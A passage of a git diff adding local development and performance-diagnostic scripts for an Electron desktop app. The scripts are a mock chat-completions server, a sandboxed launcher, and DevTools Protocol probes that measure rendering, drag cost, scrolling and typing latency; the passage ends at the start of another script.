+import fs from 'node:fs'
+import os from 'node:os'
+import path from 'node:path'
+import { spawn, spawnSync } from 'node:child_process'
+
+const DESKTOP_ROOT = path.resolve(import.meta.dirname, '..')
+const REPO_ROOT = path.resolve(DESKTOP_ROOT, '..', '..')
+
+// ── Canned reply ───────────────────────────────────────────────────────
+
+const CANNED_REPLY =
+  'Hello from the mock inference server! The full boot chain is working.'
+
+// ── Mock server (mirrors e2e/mock-server.ts) ───────────────────────────
+
+function startMockServer() {
+  return new Promise((resolve, reject) => {
+    const server = http.createServer((req, res) => {
+      res.setHeader('Access-Control-Allow-Origin', '*')
+      res.setHeader('Access-Control-Allow-Headers', '*')
+      res.setHeader('Access-Control-Allow-Methods', 'GET, POST, OPTIONS')
+
+      if (req.method === 'OPTIONS') {
+        res.writeHead(204)
+        res.end()
+        return
+      }
+
+      if (req.method === 'GET' && req.url === '/v1/models') {
+        res.writeHead(200, { 'Content-Type': 'application/json' })
+        res.end(
+          JSON.stringify({
+            object: 'list',
+            data: [{ id: 'mock-model', object: 'model', created: 0, owned_by: 'mock' }],
+          }),
+        )
+        return
+      }
+
+      if (req.method === 'POST' && req.url?.startsWith('/v1/chat/completions')) {
+        let body = ''
+        req.on('data', (chunk) => { body += chunk.toString() })
+        req.on('end', () => {
+          let parsed = {}
+          try { parsed = JSON.parse(body) } catch { /* non-streaming */ }
+
+          const stream = parsed.stream === true
+          const model = parsed.model || 'mock-model'
+
+          if (stream) {
+            res.writeHead(200, {
+              'Content-Type': 'text/event-stream',
+              'Cache-Control': 'no-cache',
+              Connection: 'keep-alive',
+            })
+            const words = CANNED_REPLY.split(' ')
+            let i = 0
+            const sendChunk = () => {
+              if (i >= words.length) {
+                res.write(
+                  `data: ${JSON.stringify({
+                    id: 'mock-completion', object: 'chat.completion.chunk',
+                    created: 0, model,
+                    choices: [{ index: 0, delta: {}, finish_reason: 'stop' }],
+                  })}\n\n`,
+                )
+                res.write('data: [DONE]\n\n')
+                res.end()
+                return
+              }
+              const word = i === 0 ? words[i] : ' ' + words[i]
+              res.write(
+                `data: ${JSON.stringify({
+                  id: 'mock-completion', object: 'chat.completion.chunk',
+                  created: 0, model,
+                  choices: [{ index: 0, delta: { content: word }, finish_reason: null }],
+                })}\n\n`,
+              )
+              i++
+              setTimeout(sendChunk, 20)
+            }
+            sendChunk()
+          } else {
+            res.writeHead(200, { 'Content-Type': 'application/json' })
+            res.end(
+              JSON.stringify({
+                id: 'mock-completion', object: 'chat.completion',
+                created: 0, model,
+                choices: [{
+                  index: 0,
+                  message: { role: 'assistant', content: CANNED_REPLY },
+                  finish_reason: 'stop',
+                }],
+                usage: { prompt_tokens: 10, completion_tokens: 20, total_tokens: 30 },
+              }),
+            )
+          }
+        })
+        req.on('error', () => { res.writeHead(400); res.end('Bad request') })
+        return
+      }
+
+      res.writeHead(404, { 'Content-Type': 'application/json' })
+      res.end(JSON.stringify({ error: 'Not found' }))
+    })
+
+    server.on('error', reject)
+    server.listen(0, '127.0.0.1', () => {
+      const addr = server.address()
+      if (addr === null || typeof addr === 'string') {
+        reject(new Error('Failed to get server address'))
+        return
+      }
+      resolve({ port: addr.port, url: `http://127.0.0.1:${addr.port}`, close: () => server.close() })
+    })
+  })
+}
+
+// ── Config + env writing (mirrors e2e/fixtures.ts) ─────────────────────
+
+function createSandbox() {
+  const root = fs.mkdtempSync(path.join(os.tmpdir(), `clawcodex-dev-mock-${Date.now()}`))
+  const clawcodexHome = path.join(root, 'clawcodex-home')
+  const userDataDir = path.join(root, 'electron-user-data')
+  fs.mkdirSync(clawcodexHome, { recursive: true })
+  fs.mkdirSync(userDataDir, { recursive: true })
+  return { root, clawcodexHome, userDataDir, cleanup: () => fs.rmSync(root, { recursive: true, force: true }) }
+}
+
+function writeMockConfig(clawcodexHome, mockUrl) {
+  fs.writeFileSync(
+    path.join(clawcodexHome, 'config.yaml'),
+    `# Auto-generated by dev-mock.mjs
+model:
+  default: mock-model
+  provider: mock
+providers:
+  mock:
+    api: ${mockUrl}/v1
+    name: Mock
+    api_mode: chat_completions
+    key_env: MOCK_API_KEY
+    models:
+      mock-model: {}
+    context_length: 4096
+`,
+    'utf8',
+  )
+  fs.writeFileSync(path.join(clawcodexHome, '.env'), 'MOCK_API_KEY=e2e-mock-key\n', 'utf8')
+}
+
+// ── Electron launch ────────────────────────────────────────────────────
+
+function findElectron() {
+  const local = path.join(REPO_ROOT, 'node_modules', 'electron', 'dist', 'electron')
+  if (fs.existsSync(local)) return local
+  const r = spawnSync('which', ['electron'], { encoding: 'utf8' })
+  if (r.status === 0 && r.stdout.trim()) return r.stdout.trim()
+  throw new Error('Electron binary not found. Run "npm install" from the repo root.')
+}
+
+function assertDistBuilt() {
+  const electronMain = path.join(DESKTOP_ROOT, 'dist', 'electron-main.mjs')
+  const indexHtml = path.join(DESKTOP_ROOT, 'dist', 'index.html')
+  if (!fs.existsSync(electronMain) || !fs.existsSync(indexHtml)) {
+    throw new Error(
+      `Desktop dist not built. Run 'cd apps/desktop && npm run build' first.\n` +
+      `Missing: ${electronMain}`,
+    )
+  }
+}
+
+// ── Main ───────────────────────────────────────────────────────────────
+
+async function main() {
+  assertDistBuilt()
+
+  console.log('Starting mock inference server...')
+  const mock = await startMockServer()
+  console.log(`  Mock server: ${mock.url}`)
+
+  const sandbox = createSandbox()
+  writeMockConfig(sandbox.clawcodexHome, mock.url)
+  console.log(`  CLAWCODEX_CONFIG_DIR: ${sandbox.clawcodexHome}`)
+
+  const electronBin = findElectron()
+
+  const env = {
+    ...process.env,
+    CLAWCODEX_CONFIG_DIR: sandbox.clawcodexHome,
+    CLAWCODEX_DESKTOP_USER_DATA_DIR: sandbox.userDataDir,
+    CLAWCODEX_DESKTOP_IGNORE_EXISTING: '1',
+    CLAWCODEX_DESKTOP_CLAWCODEX_ROOT: REPO_ROOT,
+    CLAWCODEX_DESKTOP_APP_NAME: `ClawCodexDevMock-${Date.now()}`,
+  }
+
+  console.log('Launching Electron...')
+  const child = spawn(electronBin, [DESKTOP_ROOT, '--disable-gpu', '--no-sandbox'], {
+    env,
+    cwd: DESKTOP_ROOT,
+    stdio: 'inherit',
+  })
+
+  child.on('exit', (code) => {
+    mock.close()
+    sandbox.cleanup()
+    process.exit(code ?? 0)
+  })
+}
+
+main().catch((err) => {
+  console.error(err)
+  process.exit(1)
+})
diff --git a/ui-desktop/scripts/dev-no-hmr.mjs b/ui-desktop/scripts/dev-no-hmr.mjs
new file mode 100644
index 000000000..cec52f802
--- /dev/null
+++ b/ui-desktop/scripts/dev-no-hmr.mjs
@@ -0,0 +1,22 @@
+#!/usr/bin/env node
+// Launch the desktop renderer with HMR disabled so the React Fast Refresh
+// preamble path is skipped. This sidesteps a current Vite 8 / plugin-react 6
+// bug where the preamble script is not injected into index.html → renderer
+// throws "$RefreshReg$ is not defined" on every TSX module → React tree
+// never mounts.
+//
+// We're not trying to use HMR while profiling typing lag anyway. ClawCodex desktop
+// boots, you type, profiler measures. HMR off is fine.
+//
+// Usage: node apps/desktop/scripts/dev-no-hmr.mjs
+//        (then in another shell, run electron --remote-debugging-port=9222 .)
+
+import { createServer } from 'vite'
+
+const server = await createServer({
+  configFile: new URL('../vite.config.ts', import.meta.url).pathname,
+  root: new URL('../', import.meta.url).pathname,
+  server: { hmr: false, host: '127.0.0.1', port: 5174, strictPort: true }
+})
+await server.listen()
+server.printUrls()
diff --git a/ui-desktop/scripts/diag-code-live.mjs b/ui-desktop/scripts/diag-code-live.mjs
new file mode 100644
index 000000000..98ec39973
--- /dev/null
+++ b/ui-desktop/scripts/diag-code-live.mjs
@@ -0,0 +1,25 @@
+// Is the tree-split preview path actually active in the running renderer?
+// Checks the served source (what vite compiled) rather than guessing.
+import { attach } from './perf/lib/launch.mjs'
+
+const { cdp, teardown } = await attach({ port: 9222 })
+
+try {
+  await cdp.send('Runtime.enable')
+
+  const out = await cdp.eval(`(async () => {
+    const res = await fetch('/src/components/pane-shell/tree/renderer/tree-split.tsx')
+    const src = await res.text()
+    return JSON.stringify({
+      previewShift: src.includes('previewShift'),
+      adaptiveFloor: (await (await fetch('/src/app/session/hooks/use-message-stream/index.ts')).text()).includes('adaptiveFloor'),
+      structuralSignature: (await (await fetch('/src/components/assistant-ui/thread/list.tsx')).text()).includes('structuralSignature'),
+      sharedRO: (await (await fetch('/src/hooks/use-resize-observer.ts')).text()).includes('sharedObserver'),
+      rootTipProvider: (await (await fetch('/src/main.tsx')).text()).includes('RootTooltipProvider')
+    })
+  })()`)
+
+  console.log(out)
+} finally {
+  teardown?.()
+}
diff --git a/ui-desktop/scripts/diag-drag-churn.mjs b/ui-desktop/scripts/diag-drag-churn.mjs
new file mode 100644
index 000000000..7c8b14007
--- /dev/null
+++ b/ui-desktop/scripts/diag-drag-churn.mjs
@@ -0,0 +1,158 @@
+// Who re-renders the transcript during a sash drag?
+//
+// Standalone probe, not a benchmark: seeds tiles, then drags the sash while
+// recording (a) render attribution and (b) every nanostores atom that notifies
+// during the gesture. The idle-cost scenario proved the transcript re-renders
+// ~18x above baseline during a drag but that the sash HANDLER is not the cause
+// (identical counts at 0px and 60px displacement) — so this names the store
+// that actually fires.
+//
+//   node scripts/perf/diag-drag-churn.mjs [--port 9222]
+
+import { attach } from './perf/lib/launch.mjs'
+import { sleep } from './perf/lib/cdp.mjs'
+
+const TILES = 5
+const TURNS = 20
+
+const setup = `
+  (() => {
+    const hook = window.__CLAWCODEX_SESSION_TILES__
+    if (!hook) return 'no-hook'
+    const turn = (sid, i) => ([
+      { id: sid + '-u' + i, role: 'user', timestamp: Date.now(),
+        parts: [{ type: 'text', text: 'Question ' + i }] },
+      { id: sid + '-a' + i, role: 'assistant', timestamp: Date.now(), pending: false,
+        parts: [{ type: 'text', text: '## Finding ' + i + '\\n\\nSome prose with **bold** and \`code\`.\\n' }] }
+    ])
+    window.__D__ = { ids: [] }
+    for (let n = 1; n <= ${TILES}; n++) {
+      const sid = 'diag-tile-' + n
+      const rid = 'diag-rt-' + n
+      const messages = []
+      for (let i = 0; i < ${TURNS}; i++) messages.push(...turn(sid, i))
+      messages.push({ id: sid + '-stream', role: 'assistant', timestamp: Date.now(), pending: true,
+        parts: [{ type: 'text', text: 'Working.' }] })
+      window.__D__.ids.push({ sid, rid })
+      hook.open(sid, 'center')
+      hook.patch(sid, { runtimeId: rid })
+      hook.publish(rid, {
+        storedSessionId: sid, messages, branch: '', cwd: '', model: '', provider: '',
+        reasoningEffort: '', serviceTier: '', fast: false, yolo: false, personality: '',
+        busy: true, awaitingResponse: false, streamId: sid + '-stream', sawAssistantPayload: true,
+        pendingBranchGroup: null, interrupted: false, interimBoundaryPending: false,
+        needsInput: false, turnStartedAt: Date.now(), usage: null
+      })
+    }
+    return 'ok'
+  })()
+`
+
+const reveal = sid => `window.__CLAWCODEX_LAYOUT_TREE__.reveal(${JSON.stringify(`session-tile:${sid}`)})`
+
+// Drag, recording renders AND atom notifications together.
+const DRAG = `
+  (async () => {
+    const rc = window.__RENDER_COUNTS__
+    const ac = window.__ATOM_CHURN__
+    rc.start(); ac.start()
+
+    const handle = document.querySelector('[role="separator"]')
+    if (!handle) { rc.stop(); ac.stop(); return JSON.stringify({ error: 'no sash' }) }
+
+    const box = handle.getBoundingClientRect()
+    const y = box.top + box.height / 2
+    const x0 = box.left + box.width / 2
+    let x = x0
+    const opts = { bubbles: true, cancelable: true, pointerId: 1, pointerType: 'mouse', isPrimary: true, button: 0, buttons: 1 }
+    handle.dispatchEvent(new PointerEvent('pointerdown', { ...opts, clientX: x, clientY: y }))
+    for (let i = 0; i < 30; i++) {
+      x += 2
+      window.dispatchEvent(new PointerEvent('pointermove', { ...opts, clientX: x, clientY: y }))
+      await new Promise(r => requestAnimationFrame(r))
+    }
+    window.dispatchEvent(new PointerEvent('pointerup', { ...opts, buttons: 0, clientX: x, clientY: y }))
+
+    rc.stop(); ac.stop()
+    const all = rc.report(400)
+    const named = n => all.find(r => r.name === n) || null
+    return JSON.stringify({
+      moved: Math.round(x - x0),
+      commits: rc.commits(),
+      renders: rc.report(14),
+      // The suspects: who at the TOP of the transcript tree re-rendered?
+      chain: ['ChatView', 'ChatRuntimeBoundary', 'AuiProvider', 'Thread', 'SessionTile', 'TileChat',
+              'LayoutTreeRoot', 'TreeNode', 'TreeSplit', 'TreeGroup', 'SessionView', 'PaneShell']
+        .map(n => ({ name: n, hit: named(n) })).filter(x => x.hit),
+      atoms: ac.report(30)
+    })
+  })()
+`
+
+const CLEANUP = `
+  (() => {
+    if (window.__D__) {
+      for (const { sid, rid } of window.__D__.ids) {
+        const s = window.__CLAWCODEX_SESSION_TILES__.states()
+        window.__CLAWCODEX_SESSION_TILES__.publish(rid, { ...s[rid], busy: false, streamId: null })
+        window.__CLAWCODEX_SESSION_TILES__.close(sid)
+      }
+      window.__D__ = null
+    }
+    return 'cleaned'
+  })()
+`
+
+const port = Number(process.argv.includes('--port') ? process.argv[process.argv.indexOf('--port') + 1] : 9222)
+const { cdp, teardown } = await attach({ port })
+
+try {
+  await cdp.send('Runtime.enable')
+
+  const ok = await cdp.eval(setup)
+
+  if (ok !== 'ok') {
+    throw new Error(`setup failed: ${ok}`)
+  }
+
+  for (let n = 1; n <= TILES; n++) {
+    await cdp.eval(reveal(`diag-tile-${n}`))
+    await sleep(300)
+  }
+
+  await sleep(1500)
+
+  const data = JSON.parse(await cdp.eval(DRAG))
+  await cdp.eval(CLEANUP)
+
+  console.log(`moved ${data.moved}px, ${data.commits} commits\n`)
+  console.log('RENDERS during drag:')
+
+  for (const r of data.renders) {
+    console.log(
+      `  ${r.name.padEnd(28)} r=${String(r.renders).padStart(6)} wasted=${String(r.wasted).padStart(6)} ` +
+        `props=${String(r.propsChanged).padStart(5)} state=${String(r.stateChanged).padStart(5)} ` +
+        `ctx=${String(r.contextChanged ?? 0).padStart(4)} ms=${r.totalMs}`
+    )
+  }
+
+  console.log('\nTRANSCRIPT CHAIN (who above the messages re-rendered):')
+
+  for (const { name, hit } of data.chain) {
+    console.log(
+      `  ${name.padEnd(24)} r=${String(hit.renders).padStart(6)} wasted=${String(hit.wasted).padStart(6)} ` +
+        `props=${String(hit.propsChanged).padStart(5)} state=${String(hit.stateChanged).padStart(5)} ms=${hit.totalMs}`
+    )
+  }
+
+  console.log('\nATOMS that notified during drag:')
+
+  for (const a of data.atoms) {
+    console.log(
+      `  ${a.name.padEnd(26)} notifies=${String(a.notifies).padStart(5)} wasted=${String(a.wasted).padStart(5)} ` +
+        `fanout=${String(a.fanout).padStart(6)} peakListeners=${a.peakListeners}`
+    )
+  }
+} finally {
+  teardown?.()
+}
diff --git a/ui-desktop/scripts/diag-drag-trace.mjs b/ui-desktop/scripts/diag-drag-trace.mjs
new file mode 100644
index 000000000..db94fec79
--- /dev/null
+++ b/ui-desktop/scripts/diag-drag-trace.mjs
@@ -0,0 +1,217 @@
+// What is the drag actually spending time on?
+//
+// The render counters proved React is no longer the cost (commits 83 -> 12
+// after the $layoutTree fix) yet drag fps stayed ~3 while p95 halved. That
+// pattern says a fixed per-frame floor outside React. This takes a real CDP
+// trace of one sash drag and prints the category split — Recalculate Style,
+// Layout, Paint, Scripting — so the next fix targets the actual cost instead
+// of the next plausible-looking thing.
+//
+//   node scripts/diag-drag-trace.mjs [--port 9222] [--tiles 5]
+
+import { attach } from './perf/lib/launch.mjs'
+import { sleep } from './perf/lib/cdp.mjs'
+
+const arg = (name, fallback) => {
+  const i = process.argv.indexOf(`--${name}`)
+
+  return i === -1 ? fallback : process.argv[i + 1]
+}
+
+const port = Number(arg('port', 9222))
+const TILES = Number(arg('tiles', 5))
+const TURNS = Number(arg('turns', 20))
+
+const setup = `
+  (() => {
+    const hook = window.__CLAWCODEX_SESSION_TILES__
+    if (!hook) return 'no-hook'
+    const turn = (sid, i) => ([
+      { id: sid + '-u' + i, role: 'user', timestamp: Date.now(),
+        parts: [{ type: 'text', text: 'Question ' + i }] },
+      { id: sid + '-a' + i, role: 'assistant', timestamp: Date.now(), pending: false,
+        parts: [{ type: 'text', text: '## Finding ' + i + '\\n\\nProse with **bold** and \`code\`.\\n' }] }
+    ])
+    window.__T__ = { ids: [] }
+    for (let n = 1; n <= ${TILES}; n++) {
+      const sid = 'trace-tile-' + n
+      const rid = 'trace-rt-' + n
+      const messages = []
+      for (let i = 0; i < ${TURNS}; i++) messages.push(...turn(sid, i))
+      messages.push({ id: sid + '-stream', role: 'assistant', timestamp: Date.now(), pending: true,
+        parts: [{ type: 'text', text: 'Working.' }] })
+      window.__T__.ids.push({ sid, rid })
+      hook.open(sid, 'center')
+      hook.patch(sid, { runtimeId: rid })
+      hook.publish(rid, {
+        storedSessionId: sid, messages, branch: '', cwd: '', model: '', provider: '',
+        reasoningEffort: '', serviceTier: '', fast: false, yolo: false, personality: '',
+        busy: true, awaitingResponse: false, streamId: sid + '-stream', sawAssistantPayload: true,
+        pendingBranchGroup: null, interrupted: false, interimBoundaryPending: false,
+        needsInput: false, turnStartedAt: Date.now(), usage: null
+      })
+    }
+    return 'ok'
+  })()
+`
+
+const reveal = sid => `window.__CLAWCODEX_LAYOUT_TREE__.reveal(${JSON.stringify(`session-tile:${sid}`)})`
+
+// Drive the sash WITHOUT awaiting rAF: a slow app would stretch a rAF-paced
+// loop and make the window itself a function of the slowness. Fixed wall-clock
+// pacing keeps the trace window comparable run to run.
+const DRAG = `
+  (async () => {
+    const handle = document.querySelector('[role="separator"]')
+    if (!handle) return 'none'
+    const box = handle.getBoundingClientRect()
+    const y = box.top + box.height / 2
+    const x0 = box.left + box.width / 2
+    let x = x0
+    const opts = { bubbles: true, cancelable: true, pointerId: 1, pointerType: 'mouse', isPrimary: true, button: 0, buttons: 1 }
+    handle.dispatchEvent(new PointerEvent('pointerdown', { ...opts, clientX: x, clientY: y }))
+    for (let i = 0; i < 40; i++) {
+      x += (i < 20 ? 3 : -3)
+      window.dispatchEvent(new PointerEvent('pointermove', { ...opts, clientX: x, clientY: y }))
+      await new Promise(r => setTimeout(r, 16))
+    }
+    window.dispatchEvent(new PointerEvent('pointerup', { ...opts, buttons: 0, clientX: x, clientY: y }))
+    return 'dragged'
+  })()
+`
+
+const CLEANUP = `
+  (() => {
+    if (window.__T__) {
+      for (const { sid, rid } of window.__T__.ids) {
+        const s = window.__CLAWCODEX_SESSION_TILES__.states()
+        window.__CLAWCODEX_SESSION_TILES__.publish(rid, { ...s[rid], busy: false, streamId: null })
+        window.__CLAWCODEX_SESSION_TILES__.close(sid)
+      }
+      window.__T__ = null
+    }
+    return 'cleaned'
+  })()
+`
+
+const { cdp, teardown } = await attach({ port })
+
+try {
+  await cdp.send('Runtime.enable')
+
+  const ok = await cdp.eval(setup)
+
+  if (ok !== 'ok') {
+    throw new Error(`setup failed: ${ok}`)
+  }
+
+  for (let n = 1; n <= TILES; n++) {
+    await cdp.eval(reveal(`trace-tile-${n}`))
+    await sleep(300)
+  }
+
+  await sleep(1500)
+
+  // Collect trace events for the drag window only. `cdp.on` is the client's
+  // only event API (no `once`), so completion is signalled through a flag.
+  const events = []
+  let complete = false
+  cdp.on('Tracing.dataCollected', params => events.push(...(params.value ?? [])))
+  cdp.on('Tracing.tracingComplete', () => {
+    complete = true
+  })
+
+  await cdp.send('Tracing.start', {
+    transferMode: 'ReportEvents',
+    traceConfig: { includedCategories: ['devtools.timeline', 'blink.user_timing'] }
+  })
+
+  const dragged = await cdp.eval(DRAG)
+
+  await cdp.send('Tracing.end')
+
+  for (let waited = 0; !complete && waited < 10000; waited += 200) {
+    await sleep(200)
+  }
+
+  await cdp.eval(CLEANUP)
+
+  // Sum self-time per timeline category. Nested events would double-count, so
+  // attribute each event's duration minus the duration of its direct children.
+  const INTERESTING = new Set([
+    'UpdateLayoutTree', // Recalculate Style
+    'Layout',
+    'Paint',
+    'PaintImage',
+    'Layerize',
+    'UpdateLayer',
+    'CompositeLayers',
+    'FunctionCall',
+    'EvaluateScript',
+    'TimerFire',
+    'EventDispatch',
+    'HitTest',
+    'ParseHTML',
+    'CommitLoad'
+  ])
+
+  const totals = new Map()
+  let traced = 0
+
+  for (const e of events) {
+    if (e.ph !== 'X' || typeof e.dur !== 'number') {
+      continue
+    }
+
+    traced += 1
+    const name = e.name
+
+    if (!INTERESTING.has(name)) {
+      continue
+    }
+
+    totals.set(name, (totals.get(name) ?? 0) + e.dur / 1000)
+  }
+
+  console.log(`drag=${dragged}  trace events=${events.length} (complete=${traced})\n`)
+  console.log('TIMELINE COST (ms, total duration by event):')
+
+  const rows = [...totals.entries()].sort((a, b) => b[1] - a[1])
+
+  if (rows.length === 0) {
+    console.log('  (no timeline events — category filter or tracing domain unavailable)')
+  }
+
+  for (const [name, ms] of rows) {
+    console.log(`  ${name.padEnd(20)} ${ms.toFixed(1)}ms`)
+  }
+
+  const style = totals.get('UpdateLayoutTree') ?? 0
+  const layout = totals.get('Layout') ?? 0
+  const script = (totals.get('FunctionCall') ?? 0) + (totals.get('EvaluateScript') ?? 0) + (totals.get('TimerFire') ?? 0)
+
+  console.log(`\nVERDICT: style=${style.toFixed(0)}ms layout=${layout.toFixed(0)}ms script=${script.toFixed(0)}ms`)
+
+  // Script dominates -> name the functions. Timeline FunctionCall events carry
+  // the callsite in args.data, so the top offenders can be attributed without
+  // a separate CPU profile.
+  const byFn = new Map()
+
+  for (const e of events) {
+    if (e.ph !== 'X' || e.name !== 'FunctionCall' || typeof e.dur !== 'number') {
+      continue
+    }
+
+    const d = e.args?.data ?? {}
+    const key = `${d.functionName || '(anonymous)'} @ ${(d.url || '?').split('/').pop()}:${d.lineNumber ?? '?'}`
+    byFn.set(key, (byFn.get(key) ?? 0) + e.dur / 1000)
+  }
+
+  console.log('\nTOP SCRIPT CALLSITES (ms):')
+
+  for (const [name, ms] of [...byFn.entries()].sort((a, b) => b[1] - a[1]).slice(0, 15)) {
+    console.log(`  ${ms.toFixed(1).padStart(8)}  ${name}`)
+  }
+} finally {
+  teardown?.()
+}
diff --git a/ui-desktop/scripts/diag-jump.mjs b/ui-desktop/scripts/diag-jump.mjs
new file mode 100644
index 000000000..f02183cc1
--- /dev/null
+++ b/ui-desktop/scripts/diag-jump.mjs
@@ -0,0 +1,115 @@
+// Wrap the thread scroller's properties and observe pin/scroll/RO events
+// in real time during a submit, then print the timeline.
+const list = await (await fetch('http://127.0.0.1:9222/json/list')).json()
+const tgt = list.find(t => t.type === 'page' && t.url.startsWith('http'))
+const ws = new WebSocket(tgt.webSocketDebuggerUrl)
+let id = 0
+const pending = new Map()
+ws.addEventListener('message', ev => {
+  const m = JSON.parse(ev.data)
+  if (m.id != null && pending.has(m.id)) {
+    pending.get(m.id)(m)
+    pending.delete(m.id)
+  }
+})
+await new Promise(r => ws.addEventListener('open', r))
+const send = (m, p = {}) =>
+  new Promise(r => {
+    const i = ++id
+    pending.set(i, r)
+    ws.send(JSON.stringify({ id: i, method: m, params: p }))
+  })
+const evalP = async expr => {
+  const r = await send('Runtime.evaluate', { expression: expr, returnByValue: true })
+  if (r.result?.exceptionDetails) throw new Error(r.result.exceptionDetails.text)
+  return r.result.result.value
+}
+
+await evalP(`(() => {
+  const v = document.querySelector('[data-slot="aui_thread-viewport"]')
+  if (v) v.scrollTop = v.scrollHeight
+})()`)
+await new Promise(r => setTimeout(r, 300))
+
+await evalP(`(() => {
+  const el = document.querySelector('[data-slot="composer-rich-input"]')
+  el.focus()
+  const r = document.createRange(); r.selectNodeContents(el); r.collapse(false)
+  window.getSelection().removeAllRanges(); window.getSelection().addRange(r)
+})()`)
+
+const text = 'short follow-up'
+for (const c of text) {
+  await send('Input.dispatchKeyEvent', { type: 'char', text: c, unmodifiedText: c })
+  await new Promise(r => setTimeout(r, 10))
+}
+await new Promise(r => setTimeout(r, 300))
+
+// Hook into the viewport scrollTop setter + scroll + RO so we see every event
+await evalP(`(() => {
+  const v = document.querySelector('[data-slot="aui_thread-viewport"]')
+  const events = []
+  window.__threadEvents = events
+  const t0 = performance.now()
+  const push = (kind, detail) => events.push({ t: performance.now() - t0, kind, ...detail })
+
+  // intercept scrollTop writes
+  const desc = Object.getOwnPropertyDescriptor(Element.prototype, 'scrollTop')
+  Object.defineProperty(v, 'scrollTop', {
+    get() { return desc.get.call(this) },
+    set(val) {
+      push('scrollTop=', { val, fromScrollHeight: this.scrollHeight, stackTop: (new Error()).stack.split('\\n').slice(2, 5).map(s => s.trim()).join(' | ') })
+      desc.set.call(this, val)
+    },
+    configurable: true
+  })
+
+  // scroll event
+  v.addEventListener('scroll', () => {
+    push('scroll', { scrollTop: v.scrollTop, scrollHeight: v.scrollHeight })
+  }, { passive: true, capture: true })
+
+  // RO on the viewport itself
+  const ro = new ResizeObserver((entries) => {
+    for (const e of entries) {
+      push('RO', { target: e.target.getAttribute('data-slot') || e.target.tagName, h: e.contentRect.height })
+    }
+  })
+  ro.observe(v)
+  if (v.firstElementChild) ro.observe(v.firstElementChild)
+
+  // mutationobserver on the viewport
+  const mo = new MutationObserver((muts) => {
+    push('mut', { count: muts.length, added: muts.reduce((s, m) => s + m.addedNodes.length, 0), removed: muts.reduce((s, m) => s + m.removedNodes.length, 0) })
+  })
+  mo.observe(v, { childList: true, subtree: true, characterData: true })
+
+  window.__teardown = () => { ro.disconnect(); mo.disconnect() }
+  return true
+})()`)
+
+// fire Enter
+await send('Input.dispatchKeyEvent', {
+  type: 'rawKeyDown', windowsVirtualKeyCode: 13, key: 'Enter', code: 'Enter', text: '\r', unmodifiedText: '\r'
+})
+await send('Input.dispatchKeyEvent', { type: 'keyUp', windowsVirtualKeyCode: 13, key: 'Enter', code: 'Enter' })
+
+await new Promise(r => setTimeout(r, 1200))
+
+const events = JSON.parse(await evalP(`JSON.stringify(window.__threadEvents || [])`))
+console.log(`\n${events.length} events:`)
+for (const e of events) {
+  const t = String(e.t.toFixed(0)).padStart(5)
+  const { kind, t: _t, ...rest } = e
+  console.log(`  ${t}ms  ${kind.padEnd(12)} ${JSON.stringify(rest)}`)
+}
+
+await evalP(`window.__teardown?.()`)
+// Cancel running agent
+await evalP(`(() => {
+  for (const b of document.querySelectorAll('button')) {
+    if ((b.getAttribute('aria-label') || '').toLowerCase().includes('stop')) { b.click(); return 'stopped' }
+  }
+})()`)
+
+ws.close()
diff --git a/ui-desktop/scripts/diag-key-latency.mjs b/ui-desktop/scripts/diag-key-latency.mjs
new file mode 100644
index 000000000..7a29bd46c
--- /dev/null
+++ b/ui-desktop/scripts/diag-key-latency.mjs
@@ -0,0 +1,47 @@
+// Typing latency, isolated: keystroke -> next paint, with and without an
+// active stream. Distinguishes "input is slow" from "the frame budget is
+// consumed by streaming flushes" — the fix differs completely.
+import { attach } from './perf/lib/launch.mjs'
+
+const { cdp, teardown } = await attach({ port: 9222 })
+
+const TYPE = `
+  (async () => {
+    const el = [...document.querySelectorAll('[contenteditable="true"]')].find(e => e.offsetParent)
+    if (!el) return JSON.stringify({ error: 'no composer' })
+    el.focus()
+    const perKey = []
+    for (let i = 0; i < 30; i++) {
+      const ch = 'abcdefghij'[i % 10]
+      const t0 = performance.now()
+      el.dispatchEvent(new KeyboardEvent('keydown', { bubbles: true, key: ch }))
+      el.textContent += ch
+      el.dispatchEvent(new InputEvent('input', { bubbles: true, data: ch, inputType: 'insertText' }))
+      el.dispatchEvent(new KeyboardEvent('keyup', { bubbles: true, key: ch }))
+      await new Promise(r => requestAnimationFrame(r))
+      perKey.push(performance.now() - t0)
+      // Human-ish 80ms cadence so streaming flushes interleave realistically.
+      await new Promise(r => setTimeout(r, 80))
+    }
+    el.textContent = ''
+    el.dispatchEvent(new InputEvent('input', { bubbles: true, inputType: 'deleteContentBackward' }))
+    const sorted = [...perKey].sort((a, b) => a - b)
+    const pct = p => sorted[Math.min(sorted.length - 1, Math.floor(sorted.length * p))]
+    const busy = (() => { try { return document.querySelectorAll('[data-status="running"]').length } catch { return -1 } })()
+    return JSON.stringify({
+      keyToPaint_p50: Math.round(pct(0.5) * 10) / 10,
+      keyToPaint_p95: Math.round(pct(0.95) * 10) / 10,
+      worst: Math.round(sorted[sorted.length - 1] * 10) / 10,
+      over16: perKey.filter(f => f > 16.7).length,
+      over33: perKey.filter(f => f > 33).length,
+      streamingParts: busy
+    })
+  })()
+`
+
+try {
+  await cdp.send('Runtime.enable')
+  console.log(await cdp.eval(TYPE))
+} finally {
+  teardown?.()
+}
diff --git a/ui-desktop/scripts/diag-live-state.mjs b/ui-desktop/scripts/diag-live-state.mjs
new file mode 100644
index 000000000..c78cb6e2c
--- /dev/null
+++ b/ui-desktop/scripts/diag-live-state.mjs
@@ -0,0 +1,21 @@
+// Quick state probe of the running hgui instance via CDP.
+import { attach } from './perf/lib/launch.mjs'
+
+const { cdp, teardown } = await attach({ port: 9222 })
+
+try {
+  await cdp.send('Runtime.enable')
+
+  const state = await cdp.eval(`(() => {
+    const rc = !!window.__RENDER_COUNTS__
+    const pl = !!window.__PERF_LIVE__
+    const tiles = window.__CLAWCODEX_SESSION_TILES__ ? Object.keys(window.__CLAWCODEX_SESSION_TILES__.states()).length : -1
+    const gw = document.querySelector('[data-slot="statusbar"]')?.textContent?.slice(0, 120) ?? '(no statusbar)'
+    const sidebarRows = document.querySelectorAll('[data-slot="sidebar"] [data-session-id], [data-tree-group] a').length
+    return JSON.stringify({ rc, pl, tiles, gw, sidebarRows, title: document.title, url: location.href.slice(0, 80) })
+  })()`)
+
+  console.log(state)
+} finally {
+  teardown?.()
+}
diff --git a/ui-desktop/scripts/diag-overlay-ab.mjs b/ui-desktop/scripts/diag-overlay-ab.mjs
new file mode 100644
index 000000000..e42f87534
--- /dev/null
+++ b/ui-desktop/scripts/diag-overlay-ab.mjs
@@ -0,0 +1,61 @@
+#!/usr/bin/env node
